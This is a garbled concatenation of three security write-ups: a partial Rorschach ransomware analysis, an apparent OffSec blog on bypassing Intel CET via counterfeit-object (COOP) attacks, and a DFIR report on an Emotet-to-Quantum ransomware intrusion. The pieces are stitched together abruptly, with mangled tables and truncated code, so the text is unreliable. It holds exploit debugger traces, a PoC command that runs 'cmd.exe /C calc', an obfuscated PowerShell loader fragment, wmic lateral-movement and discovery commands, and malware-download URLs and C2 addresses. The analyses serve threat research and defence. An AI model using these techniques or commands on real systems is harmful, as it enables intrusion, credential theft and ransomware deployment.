This obfuscated process is not required for the ransomware encryption logic, which suggests it was developed to bypass security solutions monitoring direct API calls.


Command Line Arguments


All of them are hidden, obfuscated, and not accessible without reverse-engineering the ransomware.


This table contains some of the arguments that we discovered: ArgumentExample ParameterDescription–run=1234Password needed to run the sample, possibly built on demand.–nomutex=1Do not create a mutex, therefore do not insure that only a single instance is running.–log=1Create log files.–nodel=0Do not self-delete on execution.–path=“C:”Encrypt only the following path.–noshare=1Do not encrypt shares.–pt=”C:.dll”Explicitly state the loader DLL.–cg=”C:.ini”Explicitly state the configuration file that stores the malware.–we=”C:.exe”Explicitly state the main executable.–diskpart=1Run diskpart.exe /s AppData_x.txt that removes read-


only volume attributes.–nobk=1Do not change the wallpaper of the infected machine.–thread=4Number of threads per CPU.–at=2023/03/24 05:04:20Activation time (trigger time).–nomail=1Do not create a ransom note.


This is only a partial list, with additional arguments suggesting networking capabilities, such as listen, srv and hostfile.


Example of how some of these arguments are used: cy.exe --run=1234 --nomutex=0 --log=1 --nodel=1 --path="C:\Myfolder"


--full=1 --diskpart=1


--nobk=0 Language Based Protection Before encrypting the target system, the sample runs two system checks that can halt its execution: It uses GetSystemDefaultUILanguage and GetUserDefaultUILanguage to determine what language the user is using.


It exits if the return value is commonly used in CIS countries: { 0x042b: "Armenian_Armenia", 0x042c: "Azeri_Latin", 0x043f: "Kazakh", 0x082c: "Azeri_Cyrillic", 0x419: "Russian", 0x422: "Ukrainian", 0x423: "Belarusian", 0x428: "Tajik", 0x437: "Georgian", 0x440: "Kyrgyz_Cyrillic", 0x442: "Turkmen", 0x443: "Uzbek_Latin", 0x819: "Russian_Moldava", 0x843: "Uzbek_Cyrillic" } Encryption Process The Rorschach ransomware employs a highly effective and fast hybrid-cryptography scheme, which blends the curve25519 and eSTREAM cipher hc-128 algorithms for encryption purposes.


This process only encrypts a specific portion of the original file content instead of the entire file.


The shared secret is calculated through curve25519, using both the generated private key and a hardcoded public key.


Finally, the computed SHA512 hash of the shared secret is used to construct the KEY and IV for the eSTREAM cipher hc-128.


Figure 6 – The Rorschach hybrid-cryptography scheme.


In addition, it appears that compiler optimization is prioritized for speed, with much of the code being inlined.


All of these factors make us believe that we may be dealing with one of the fastest ransomware out there.


To verify our hypothesis, we conducted five separate encryption speed tests in a controlled environment (with 6 CPUs, 8192MB RAM, SSD, and 220000 files to be encrypted), limited to local drive encryption only.


To provide a meaningful comparison with other known fast ransomware, we compared Rorschach with the notorious LockBit v.3.


The result of the speed tests: RansomwareAverage approximate time of encryptionLockBit v.37 minutesRorschach4 minutes, 30 secondsIt turned out that we have a new speed demon in town.


What’s even more noteworthy is that the Rorschach ransomware is highly customizable.


By adjusting the number of encryption threads via the command line argument --thread, it can achieve even faster times.


The name itself, “Rorschach”, is quite self-explanatory; with deep reverse engineering of the code and its logic, we found certain similarities with some of the more technically advanced and established ransomware groups.


We discussed Rorschach’s hybrid-cryptography scheme in detail above, but we suspect that this routine was borrowed from the leaked source code of Babuk ransomware.


See the following code snippets as examples: Figure 7 – Hybrid-cryptography scheme of Rorschach vs. Babuk.


Rorschach’s inspiration from Babuk is evident in various routines, including those responsible for stopping processes and services.


In fact, the code used to stop services through the service control manager appears to have been directly copied from Babuk’s source code: Figure 8 – Stopping predefined list of services – Rorschach vs. Babuk.


It is also worth noting that the list of services to be stopped in Rorschach’s configuration is identical to that in the leaked Babuk source code.


However, the list of processes to be stopped differs slightly, as Rorschach omits notepad.exe, which is used as a target for code injection.


However, the I/O Completion Ports method of thread scheduling is another component where Rorschach took some inspiration from LockBit.


The final renaming of the encrypted machine files in Rorschach is implemented via NtSetInformationFile using FileInformationClass FileRenameInformation, just like in LockBit v2.0.


Figure 9 – Renaming of encrypted file using NtSetInformationFile.


As noted before, Rorschach’s code is protected and obfuscated in a way that is unusual for ransomware, and is compiled with compiler optimization to favor speed and code inlining as much as possible.


This makes finding similarities with other well-known ransomware families a real brain-buster.


We mentioned previously that Ahnlab reported a similar attack earlier this year.


While it was carried out through different means, the ransomware described in the report triggers an almost identical execution flow.


The note was actually very similar to those issued by DarkSide, which probably led to this new ransomware being named “DarkSide,” despite the group being inactive since May 2021.


The Rorschach variant we analyzed leaves a different ransom note based on the structure used by Yanlowang, another ransomware group: Figure 10 – Ransom note from Rorschach.


Conclusion Our analysis of Rorschach reveals the emergence of a new ransomware strain in the crimeware landscape.


Its developers implemented new anti-analysis and defense evasion techniques to avoid detection and make it more difficult for security software and researchers to analyze and mitigate its effects.


Additionally, Rorschach appears to have taken some of the ‘best’ features from some of the leading ransomwares leaked online, and integrated them all together.


In addition to Rorschach’s self-propagating capabilities, this raises the bar for ransom attacks.


The operators and developers of the Rorschach ransomware remain unknown.


They do not use branding, which is relatively rare in ransomware operations.


Our findings underscore the importance of maintaining strong cybersecurity measures to prevent ransomware attacks, as well as the need for continuous monitoring and analysis of new ransomware samples to stay ahead of evolving threats.


As these attacks continue to grow in frequency and sophistication, it is essential for organizations to remain vigilant and proactive in their efforts to safeguard against these threats.


When running on a machine infected with the Rorschach ransomware, Harmony Endpoint Anti-ransomware detected the encryption process in different folders, including modifications made to Harmony Endpoint ‘honeypot’ files.


It ran a ranking algorithm that provided a verdict identifying the process as a ransomware.


Samples/IOCs Files NameHashCommentscy.exe2237ec542cdcd3eb656e86e43b461cd1PA Cortex Dump Service Tool (benign file)winutils.dll4a03423c77fe2c8d979caca58a64ad6cLoader and injector into notepad.execonfig.ini6bd96d06cd7c4b084fe9346e55a81cf9Encrypted ransomware payloadAppendix A – Services and processes terminated through GPO by Rorschach The following services are stopped through a GPO issued by Rorschach, probably to prevent conflicting write orders to Database files (and thus preventing encryption): SQLPBDMSSQLPBENGINEMSSQLFDLauncherSQLSERVERAGENTMSSQLServerOLAPServiceSSASTELEMETRYSQLBrowserSQL Server Distributed Replay ClientSQL Server Distributed Replay ControllerMsDtsServer150SSISTELEMETRY150SSISScaleOutMaster150SSISScaleOutWorker150MSSQLLaunchpadSQLWriterSQLTELEMETRYMSSQLSERVERThe following processes are killed using a group policy (scheduled task) issued by Rorschach executing C:\windows\system32\taskkill.exe.


Some are likely terminated to prevent write conflicts, and some are security solutions: wxServer.exewxServerView.exesqlmangr.exeRAgui.exesupervise.exeCulture.exeDefwatch.exehttpd.exesync-taskbarsync-workerwsa_service.exesynctime.exevxmon.exesqlbrowser.exetomcat6.exeSqlservr.exeAppendix B – Hardcoded Rorschach configuration


The following is a list of services, hardcoded in its configuration, to be stopped via the service control manager: AcronisAgentAcrSch2SvcbackupBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceBackupExecVSSProviderCAARCUpdateSvcCASAD2DWebSvcccEvtMgrccSetMgrDefWatchGxBlrGxCIMgrGxCVDGxFWDGxVssIntuit.


FCSmemtasmepocsPDVFSServiceQBCFMonitorServiceQBFCServiceQBIDPServiceRTVscanSavRoamsophossqlstc_raw_agentsvc$veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcVSNAPVSSvssYooBackupYooITzhudongfangyuThe following is a hardcoded list of directories and files to be omitted from encryption: ...


LOG2ntuser.iniOperaOpera SoftwarePoliciesProgram


FilesProgram Files (x86)ProgramDatascriptsSYSVOLthumbs.dbTor BrowserWindowsWINDOWSWindows.oldThe


following is a list of process names that during Rorschach’s execution these names are compared to those running on the machine and killed if matched.


This is done through a combination of CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, OpenProcess, and TerminateProcess.


FCSisqlplussvc.exememtasmepocsmsaccess.exeMSExchangemsftesql-Exchangemsmdsrvmspub.exeMSSQLmydesktopqos.exemydesktopservice.exeocautoupds.exeocomm.exeocssd.exeonenote.exeoracle.exeoutlook.exePDVFSServicepowerpnt.exeQBCFMonitorServiceQBFCServiceQBIDPServiceSavRoamsophossqbcoreservice.exesql.exesqladhlpSQLADHLPsqlagentSQLAgentSQLAgent$SHAREPOINTSQLBrowserSQLWritersteam.exesynctime.exetbirdconfig.exethebat.exethunderbird.exetomcat6veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcvisio.exevmware-convertervmware-usbarbitator64WinSAT.exewinword.exewordpad.exewrapper.exeWSBExchangexfssvccon.exeYooBackupAppendix C – Group Policies executed by Rorschach Transferring its own files to each workstation: <Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}"> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_winutils.dll" status="0305_winutils.dll" image="2" changed="2023-03-05 08:51:22" uid="{3F490769-A341-4220-90A3-51964B4A0C12}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**\sysvol\**REDACTED**.local\scripts\winutils.dll" targetPath="%Public%\winutils.dll" readOnly="0" archive="1" hidden="0" suppress="0" /> </File> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_config.ini" status="0305_config.ini" image="2" changed="2023-03-05 08:51:22" uid="{F513F283-3C66-4C71-9B9B-4CE9BBFCEEF1}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**.local\sysvol\**REDACTED**.local\scripts\config.ini" targetPath="%Public%\config.ini" readOnly="0" archive="1" hidden="0" suppress="0" /> </File> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_cy.exe" status="0305_cy.exe" image="2" changed="2023-03-05 08:51:22" uid="{0A16D469-2648-4849-99C8-95D1B777D59A}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**.local\sysvol\**REDACTED**.local\scripts\cy.exe" targetPath="%Public%\cy.exe" readOnly="0" archive="1" hidden="0" suppress="0" /> </File> </Files>


Bypassing Intel CET with Counterfeit Objects Matteo Malvica Content Developer Since its inception in 2005, return-oriented programming (ROP) has been the predominant avenue to thwart W^X mitigation during memory corruption exploitation.

Bypassing Intel CET with Counterfeit Objects  OffSec


These code chunks are taken from already existing code in the target application and chained together to resemble the desired attacker payload or to just disable DEP on a per page basis to allow the existing code payloads to run.


To permanently block ROP attacks, a new hardware-enforced Control Flow Integrity mitigation called Control Enforcement Technology (CET) has been developed by Intel and first shipped on Windows systems roughly two years ago.


At first, the advent of CET painted a bleak picture future for exploit developers and their reliance on ROP-based techniques.


However, in 2015, a new code-reuse technique named Counterfeit Object-Oriented Programming (COOP) has been formulated in a paper which seemed quite promising in defeating Control-Flow Integrity (CFI) defenses.


In this blog, we’ll briefly cover how CFI mitigations works, including CET, and how we can leverage COOP to effectively bypass Intel CET on the latest Windows releases.


Forward-Edge and Backward-Edge CFI Control Flow Integrity mechanisms can be grouped into two main categories: forward-edge and backward-edge.


If the original return address gets overwritten during a memory corruption exploit, the address comparison will inevitably fail and the application will be terminated.


Given that ROP-based attacks execute “RET” instructions without a prior “CALL” instruction, the running thread’s stack and the shadow stack values mismatch and so backward-edge CFI like CET effectively blocks this attack technique.


However since the latter technology has not yet been implemented on Windows, in this blog post we are going to refer to “Intel CET” as the implementation with only Shadow Stack enabled.


This means that the way CET is currently implemented is quite ineffective because the renderer process is the one that gets typically exploited.


Even though CET is still not widely enforced on browsers we should expect it to be enforced on every process over the coming years.


To avoid getting caught unprepared, as researchers, we should improve our tradecraft and constantly learn about newly developed attack angles.


Additionally, no matter how impeding a mitigation might be, we need to broaden our horizon if we want to find any weaknesses.


Counterfeiting Objects As mentioned in this post’s premise, a novel code reuse technique named Counterfeit Object-Oriented Programming or COOP has been put together by Felix Schuster in 2015.


We should note that this paper is quite theoretical.


The main idea behind this technique is counterfeiting – that is crafting new objects in-memory from attacker-controlled payloads and to chain them together through virtual functions that are already present in the target application or in loaded libraries.


Each virtual function contained in a counterfeit object is called a vfgadget and is responsible for performing a small task.


Since vfgadgets are picked from a pool of CFG-valid functions we can mark them as legitimate, and their execution will not be blocked by CFG once we hijack an indirect call with one of them.


In addition, an interesting corollary is that Intel CET won’t be triggered since we won’t corrupt any function return address during the process of calling vfgadgets in sequence.


As illustrated in Schuster’s paper, a typical COOP payload begins with a foundational vfgadget that acts as the COOP’s main function.


We’ll refer to it as Looper in this blog post.


Once the attacker has assembled the counterfeit object in memory, the Looper vfgadget iterates over an array of other vfgadgets, carefully prearranged by the attacker, which will be invoked one by one.


By aligning the vfgadgets in the counterfeit object in such a way, we’ll be able to call valid virtual functions in a controlled manner.


These vfgadgets will be stored at regular intervals within the the array accessed by the Looper.


An Argument Loader vfgadget populates a given register by loading a value into it.


The value to be loaded will be stored inside the counterfeit object at an offset from the beginning of the fake object.


The following graph sum-up the COOP attack strategy discussed so far.


The following assembly code provides a simplified version of a Looper COOP vfgadget: mov rbx, [rcx+0x40] loop_start: mov rax, [rbx] call cs:__guard_dispatch_icall_fptr mov rbx, [rbx+20h] test rbx, rbx jnz short loop_start ...


loop_exit: ret Looper Gadget relevant ASM code On the first line, RCX holds the this pointer and we load into RBX the start of the counterfeit object that has been placed at offset 0x40 from RCX.


Since all the items in our counterfeit objects will be referenced at offsets from thethis pointer, we need to make sure to save its value before hijacking the program flow (i.e by corrupting a vtable).


The COOP payload base address is then dereferenced into RAX which points to the first vfgadget that gets called.


While writing our counterfeit object in memory, we need to align upfront each vfgadget to match the Looper offsets, similarly to the following layout:


From the previous code listing, we notice at the first line of the _loopstart routine that the pointer gets dereferenced into RAX, which in turn points to the first vfgadget.


When exploiting real-world targets such browsers, it is recommended to rely on the Looper vfgadget because it gives more control and stability over the other vfgadgets.


However, for the sake of brevity, we wrote our vulnerable application with only a single Invoker vfgadget which accepts one argument, as we’ll see in the next section.


Having covered introductory COOP theory, let’s move on to exploiting a CET-compiled proof of concept application that we developed to showcase COOP attacks.


Bypassing the CET Shadow Stack with COOP The vulnerable application we wrote is compiled with CET and CFG in addition to DEP, which is on by default.


First off, to verify that CET is really enforced, we place a breakpoint on printf, inspect the call-stack, overwrite the return address and resume execution.


0:000> bp printf 0:000> g 0:000> k # Child-SP RetAddr Call Site 00


00000001`400180e8 coop!printf


[C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\ucrt\stdio.h @ 956] 01 00000000`0014fdf0


00000001`40018d54 coop!main+0x28


[C:\Users\uf0\source\repos\COOP\COOP\coop.cpp @ 54] 02 (Inline Function) --------`-------- coop!invoke_main+0x22


[D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 03 00000000`0014fef0 00007ffb`ec0a7034 coop!__scrt_common_main_seh+0x10c


[D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 04 00000000`0014ff30 00007ffb`ecba2651 KERNEL32!BaseThreadInitThunk+0x14 05


ntdll!RtlUserThreadStart+0x21 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8


00000001`400180e8 0:000> eq 00000000`0014fde8


414141414141 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8 00004141`414141411 0:000>


g (16c0.f68): Security check failure or stack buffer overrun - code c0000409 (!!!


second chance !!!)


Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation coop!printf+0x56: 00000001`400187e6 c3 ret Verifying that CET is enforced We get confirmation that CET is enabled as we are immediately prompted with a Shadow Stack exception referring to an invalid return address.


As CET is a hardware-enforced mitigation, in order to trigger the above error we would need at least an 11th Generation Core ‘Tiger Lake’ CPU To simulate a browser vulnerability, we can obtain RIP control by taking advantage of a type confusion vulnerability in the application that is triggered automatically when the application is executed.


We then hijack the vtable to make it point to our COOP buffer where our first (and only) vfgadget resides.


As mentioned earlier, instead of using a Looper with nested vfgadget, for the sake of brevity, we opted to use a single gadget that features both the Invoker and Argument Loader components.


As part of the automated part of the exploit, in order to obtain the vfgadget’s this pointer, we have leaked the stack pointer and retrieved the this pointer as a static offset from the stack.


Once we have obtained the this pointer address, we prepare the address of the Windows API we want to invoke along with its arguments.


This is done by writing both the Windows API address and the arguments at the required offsets inside the counterfeit object.


Before exploring the COOP payload in more detail, let’s first understand the PoC’s syntax by running it without any arguments.


C:\Users\offsec\source\repos\COOP\x64\Debug>coop.exe [-] SYNTAX: coop.exe <


COOP obj ptr> <1st vfgadget> <WinAPI> <API argument>


Let’s first inspect the C++ code of the object related to our vfgadget, and then explore its corresponding assembly from the compiled binary: class OffSec { public: char* a; int (*callback)(char* a);


Then, the ‘OffSec’ class is instantiated in the main program routine so it gets loaded in memory along with its methods.


Taking a closer look at the Invoker in the disassembler reveals a few interesting aspects.


Invoker vfgadger Starting from the second to the fourth line, the this pointer, referenced by RCX, is first stored on the stack and then moved into RAX.


Next, the value at offset 0x10 from RAX is dereferenced and moved into RAX.


This value will be the API function pointer residing in our counterfeit object.


Then at line 7 and 8 the first function argument is dereferenced at offset 0x8 from the this pointer and moved into RCX.


As we’ll soon discover, the vulnerable application will take care of these offsets once we have submitted the parameters from the command line.


Having covered the main building blocks of our attack chain, let’s try to run the PoC by passing the four arguments in order to gain code execution: C:\> coop.exe 00001e000000


5086014001000000 40610fecfb7f0000 "cmd.exe /C calc" Running the PoC application with all parameters With the above command we provided the following parameters:00001e000000 as a storage buffer for our counterfeit object,5086014001000000 as the Invoker vfgadget in addition to40610fecfb7f0000 which is the WinExec memory address.


As a final argument we pass the WinExec string argument.


Note that all memory addresses are passed in little-endian format.


Before doing so, we launch Process Explorer to verify that the binary is actually running with Intel CET enabled.


Verifying that CET is enabled with Process Explorer Under the “Stack Protection” column, Process Explorer confirms that CET is enforced for only the CET-compatible modules, meaning that the mitigation will be enforced for any module compiled with CET.


This includes our application.


Once the debugger is attached, we place a breakpoint to the only indirect call present in the main function and continue execution.


0:001> bp 00000001`4001847e 0:001>


bl 0 e


Disable Clear 00000001`4001847e 0001 (0001) 0


:**** coop!main+0x3d2 0:001> u 00000001`4001847e L1 coop!main+0x3d2: 00000001`4001847e ff159cbb0a00 call qword ptr


[coop!__guard_dispatch_icall_fptr (00000001`400c4020)] 0:000> dq 0x1e0000 L1 00000000`001e0000 00000001`400186a0 0:001>


g Breaking at the Indirect Call We placed a breakoint at main+0x3d2 and verified that we have indeed an indirect call at that address.


Next we dump the content of our counterfeit object located at the static address 0x1e0000, which holds a pointer to our vfgadget at 00000001400186a0 At main+0x3d2 is where the type confusion bug ignites and allows us to take control over RIP.


As soon as we hit the breakpoint we inspect the value residing at our COOP buffer, which should be the first Invoker vfgadget.


00007ffb`ecbdc620 4c8b1d814d0f00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb8 (00007ffb`eccd13a8)]


ds:00007ffb`eccd13a8=00007df600000000 0:000> ntdll!LdrpDispatchUserCallTarget+0x23: 00007ff8`7c5fc643 48ffe0 jmp rax {coop!OffSec::trigger (00000001`400186a0)} ...


[rsp+10h],rdx ss:00000000`0014fdf8=0000000000612b77 Landing on the first COOP vfgadget After tracing into the CFG LdrpDispatchUserCallTarge routine


we jump to the Invoker vfgadget ‘OffSec::trigger”, proving that we have control over the program’s execution flow.


We then continue tracing inside the vfgadget:


0:000> t ... coop!OffSec::trigger+0x5:


00000001`40018655 48894c2408 mov qword ptr


[rsp+8],rcx ss:00000000`0014fdf0=00000001400a1108 0:000> dq rcx L1


00000000`00590d80 00000000`001e0000 0:000> t coop!OffSec::trigger+0xa:


On the last instruction the ‘this’ pointer is loaded into RAX, which will be used as a reference to invoke the API and its argument: 0:000>


coop!OffSec::trigger+0x13: 00000001`40018663 488b4010 mov rax,qword ptr [rax+10h] ds:00000000`00590d90={KERNEL32!WinExec (00007ffb`ec0f6140)} 0:000>


coop!OffSec::trigger+0x17: 00000001`40018667 4889442420 mov qword ptr [rsp+20h],rax ss:00000000`0014fdd0=000000000000001f 0:000> coop!OffSec::trigger+0x1c: 00000001`4001866c 488b442440 mov rax,qword ptr [rsp+40h] ss:00000000`0014fdf0=0000000000590d80 0:000> coop!OffSec::trigger+0x21: 00000001`40018671 488b4808 mov rcx,qword ptr [rax+8] ds:00000000`00590d88=00000000001e0080 0:000> dc 00000000001e0080 00000000`001e0080


2e646d63 20657865 6320432f 00636c61 cmd.exe /C calc. ...


Once we let execution continue, we invoke LdrpDispatchUserCallTarget again which in turn dispatches execution to WinExec and welcomes us with our calculator.


Successfully Calling WinExec


This completes our brief proof-of-concept where we demonstrated that we can bypass the Intel CET Shadow Stack and obtain arbitrary code execution via a COOP attack by calling CFG-allowed functions while simultaneously avoiding corrupting any return address.


The Visual Studio project for this PoC application can be found at the following URL.


Conclusions Intel CET provides yet another strong defensive mechanism that surely steps up the exploit development game.


Nonetheless, new attack pathways such as COOP can be adopted to circumvent this mitigation.


As we learned so far, COOP vfgadgets are inherently allowed by CFG and so, in a real-world scenario they could be chained together to circumvent Intel CET and possibly other CFI mitigations.


About The Author Matteo Malvica Content Developer Matteo Malvica is a content developer at Offensive Security focusing on vulnerability research, exploit development, reverse engineering and operating system internals.


Emotet Strikes Again - LNK File Leads to Domain Wide Ransomware -

Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report


The DFIR Report url: https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/


In June of 2022, we observed a threat actor gaining access to an environment via Emotet and operating over a eight day period.


Remote access tools were used for command and control, such as Tactical RMM and Anydesk.


The threat actors final actions included data exfiltration using Rclone and domain wide deployment of Quantum Ransomware.


We have observed similar traits in previous cases where Emotet and Quantum were seen.


Case Summary The intrusion began when a user double clicked a LNK file, which then executed encoded Powershell commands to download an Emotet DLL onto the computer.


Once executed, Emotet setup a Registry Run Key to maintain persistence on the beachhead host.


These commands would go on to be repeated daily by the Emotet process.


Around one and one-half hours after execution, Emotet began sending spam emails, mailing new malicious attachments to continue spreading.


Similar activity continued over the second day, but on the third day of the incident, Emotet dropped a Cobalt Strike executable beacon onto the beachhead host.


The threat actor then moved laterally to a workstation.


They first attempted this action using a PowerShell beacon and a remote service on the host, but while the script did execute on the remote host, it appeared to fail to connect to the command and control server.


Once on this new host the threat actors proceeded to run the net commands to review the Domain Administrators group again.


They then proceeded to dump credentials from the LSASS process on the host.


With some further process injection they then began to enumerate SMB shares across the environment and on finding a primary file server reviewed several documents present on the server.


This Cobalt Strike server stopped communicating shortly there after.


On the fourth day of the intrusion, Emotet dropped a new Cobalt Strike beacon.


Again, some net command discovery was run for domain admins and domain controller servers.


A flight of netlogon authentications were observed from the beachhead host to the domain controller as a possible attempt at exploiting the domain controller.


The threat actors, however, proceeded along a more traditional path, using SMB file transfers and remote services to move laterally across domain controllers and several other servers in the environment using Cobalt Strike beacon DLL’s.


On the domain controller, the threat actors conducted further discovery tasks running find.bat and p.bat, which executed AdFind active directory discovery and performed a ping sweep across the environment.


On one of the other targeted servers, the threat actors deployed Tactical RMM, a remote management agent, for additional access and persistence in the environment.


From this server, the threat actors were observed using Rclone to exfiltrate data from a file share server in the environment.


The Mega.io service was the location the stolen data was sent.


On the fifth day of the intrusion, the threat actors appeared again to try and exfiltrate some data from the mail server again using Rclone but this appeared to fail and the threat actors did not try to resolve the issue.


On the eighth day of the intrusion the threat actor accessed the environment using Tactical RMM to deploy Anydesk on the compromised host.


Finally, locker.dll and a batch file 1.bat were dropped on the host and the batch file was executed beginning the Quantum rasomware deployment to all hosts over SMB.


After ransomware deployment, the threat actors remained connected and did RDP to a few other servers and executed ProcessHacker.exe and a net command.


With no other activity taking place, we assess that this was likely the threat actors confirming successful deployment of the ransomware payload across the network.


Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc.


Both of the Cobalt Strike servers in this case were on our Threat Feed (days to months) in advance of this intrusion.


We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.


Timeline Report Lead: @iiamaleksAnalysis and reporting: @samaritan_o, and @yatinwad Initial Access Initial access took the form of an LNK file delivered to a victim through a MalSpam campaign.


The Powershell script embedded within the LNK is a Base64 encoded script with various components split into different variables for obfuscation purposes.


The script will decode itself rather than depend on Powershell’s built-in ability to execute encoded scripts. ..


Convert]::FromBase64String($GBUus));$GBUus=$xCyRLo;iex($GBUus)}" The Powershell script, when double clicked (executed), will attempt to connect to a set of domains containing the Emotet malware.


Upon successful download of the Emotet malware, the PowerShell script will write it to a temporary directory and execute the payload via regsvr32.exe.


It is interesting to note, the LNK identifies the machine it was created on through the NetBIOS name of black-dog and a MAC Address beginning with 08:00:27 indicating a system running on Virtualbox.


Machine ID: black-dog MAC Address: 08:00:27:c6:74:5d MAC Vendor: PCS SYSTEMTECHNIK Creation: 2022-05-12 15:33:49 Execution Once the PowerShell script from the LNK file executed successfully


Multiple instances of Emotet spawning itself was observed over a period of three days.


nltest /dclist: Towards the third and fourth day of the intrusion, Cobalt Strike was dropped to disk as a PE executable and executed.


This access was used to perform enumeration and move laterally to other hosts.


Persistence The Emotet malware has used various persistence methods over time, an example can be seen here.


On the first day, Emotet established persistence via a run key.


As we can see, the regsvr32.exe Windows’s native utility was used to launch the Emotet DLL.


After moving to the hands on keyboard phase of the intrusion, the threat actors proceeded to deploy several remote management tools across the environment.


Tactical RMM was the first tool chosen for deployment.


Tactical RMM is a remote management software platform that uses a combination of agents to allow for remote management and access to systems.


The file 17jun.exe, was deployed into the programdata folder on one of the servers.


This was then executed by the threat actors and resulted in the installation of the main RMM agent.


The install completed with the following command.


A service was also created for the agent.


Event 7045A service was installed in the system.


Service Name: TacticalRMM Agent ServiceService File Name: "C:\Program Files\TacticalAgent\tacticalrmm.exe"


LocalSystem Along with the tacticalrmm.exe client, a second executable called meshagent.exe, was installed to handle remote session interaction, and a separate service was created for that agent.


Service Name: Mesh AgentService File Name: "C:\Program Files\Mesh Agent\MeshAgent.exe"Service Type: user mode serviceService Start Type: auto startService Account:


LocalSystem On the final day of the intrusion, the threat actors added AnyDesk to the same server running Tactical RMM, providing an additional means of access prior to the deployment of ransomware.


Service Name: AnyDesk ServiceService File Name: "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --serviceService


Type: user mode serviceService Start Type: auto startService Account:


LocalSystem Privilege Escalation We suspect a failed ZeroLogon exploit was attempted against a domain controller, originating from the beachhead host with Cobalt Strike running on it.


One indicator is the ‘mimikatz’ string in the Netlogon event that is used by the Mimikatz Zerologon implementation.


Defense Evasion Process Injection The threat actor was observed process injecting into legitimate process and using them to execute their own tasks on the system, this can be seen from Winlogon connecting to a domain associated with a Cobalt Strike server and removing files from the system.


The specific mechanism used to inject into a foreign process, was injecting arbitrary code into its memory space, and executing it as a remotely created thread.


This occurred from rundll32.exe, which was previously used to execute and run Cobalt Strike.


The following table summarizes the processes used for injection during this case: Injected Process Name Injection Payload C:\Windows\system32\winlogon.exe Cobalt Strike C:\Windows\System32\RuntimeBroker.exe Cobalt Strike C:\Windows\System32\svchost.exe Cobalt Strike C:\Windows\System32\taskhostw.exe Cobalt Strike C:\Windows\system32\dllhost.exe Cobalt Strike PowerTool PowerTool was observed, dropped and executed on the server used to deploy the ransomware payload.


This tool has the ability to kill a process, delete its process file, unload drivers, and delete the driver files.


It has been reportedly used by several ransomware groups to aid in their operations [1][2][3][4].


The Granted Access level matches know indicators for Mimikatz with an access value of 0x1010 (4112), as we covered in a prior report.


We also observed a Cobalt Strike executable request access level of 0x0040 (64) to LSASS, as well indicating other credential access tools may have been in use by the threat actor.


Discovery During the initial Emotet execution, three automated discovery commands were observed.


These were then repeated, seen occurring once a day from the Emotet host. systeminfo ipconfig /all


nltest /dclist: Multiple commands responsible for enumerating Active Directory groups, domain joined computers, and domain trusts, were executed via Cobalt Strike on the beachhead.


whoami /groups net group /domain net group "domain computers" /domain


"Domain controller" net group /domain


"Domain controllers" A ping command issued to a user workstation and a domain controller were observed moments before lateral movement was attempted.


ping COMPUTER.REDACTED.local Invoke-ShareFinder was observed being used via Powershell in the environment from an injected process with Cobalt Strike:


In addition to the Invoke-ShareFinder command, other functions that were used by the script were also observed.


The first find.bat was used to run AdFind.exe for Active Directory discovery.


"objectcategory=computer" find.exe -f "(objectcategory=organizationalUnit)" find.exe -subnets -f (objectCategory=subnet) find.exe -f "(objectcategory=group)" find.exe -gcb -sc trustdmp The second script, p.bat, was run to sweep the network using ping, looking for network connectivity and online hosts.


On the final day, prior to ransom deployment, the threat actor also dropped netscan.exe on the server, and executed it from the Tactical RMM meshagent.exe session.


C:\Windows\System32\mstsc mstsc.exe /v:


IP_ADDRESS_1 C:\Windows\System32\mstsc mstsc.exe /v:IP_ADDRESS_2 C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe" \\IP_ADDRESS_1\C$ C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe" \\IP_ADDRESS_2\C$ Lateral Movement Cobalt Strike Remote Service Creation The threat actor was observed creating remote services in order to execute beacon DLL files transferred via SMB as SYSTEM on remote hosts.


In another instance, an executable Cobalt Strike beacon was copied via SMB to a target machine, and then executed via WMI.


wmic /node:IP_Address process call create "cmd.exe /c start C:\Progradata\sc_https_x64.exe" Remote Desktop Lastly, traces of RDP (Remote Desktop Protocol) connections were discovered on multiple compromised hosts utilized for lateral movement on the final day of the intrusion and during the ransomware deployment.


Collection On the third day of the intrusion, after moving laterally, the threat actors began to review sensitive documents stored on network shares, including revenue, insurance, and password storage documents.


These documents were again reviewed by the threat actor on the final day of the intrusion.


hxxps://descontador[.]com[.]br hxxps://www.elaboro[.]pl hxxps://el-energiaki[.]gr hxxp://drechslerstammtisch[.]de hxxp://dhnconstrucciones[.]com[.]ar hxxp://dilsrl[.]com The second stage loader had multiple IP addresses in its configuration to attempt connections to: 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45


